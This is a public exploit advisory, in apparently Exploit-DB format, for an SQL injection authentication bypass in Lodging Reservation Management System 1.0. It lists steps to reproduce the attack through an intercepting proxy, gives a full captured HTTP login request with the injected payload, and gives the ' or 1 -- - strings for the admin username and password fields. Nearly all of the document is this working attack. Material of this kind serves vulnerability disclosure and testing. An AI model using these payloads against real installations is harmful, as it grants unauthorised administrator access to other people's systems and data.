Lodging Reservation Management System 1.0 SQL Injection

`# Exploit Title: Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass  
# Date: 2021-09-20   
# Exploit Author: Nitin Sharma(vidvansh)  
# Vendor Homepage: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14883&title=Lodging+Reservation+Management+System+in+PHP+FREE+Source+Code  
# Version: v1.0  
# Tested on: Windows 10 - XAMPP Server   
  
  
# Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.  
  
#Steps-To-Reproduce:  
Step 1 Go to the Product admin panel http://localhost/lodge/admin/login.php.  
Step 2 – Enter anything in username and password  
Step 3 – Click on Login and capture the request in the burp suite  
Step4 – Change the username to ' OR 1 -- - and password to ' OR 1 -- -.  
Step 5 – Click forward and now you will be logged in as admin.  
  
# PoC:  
  
POST /lodge/classes/Login.php?f=login HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 49  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/lodge/admin/login.php  
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+  
  
  
# Authentication Bypass:  
  
# Go to admin login page (http://localhost/lodge/admin/login.php), then use below payload as username and password =>   
Username: ' or 1 -- -   
Password: ' or 1 -- -  
`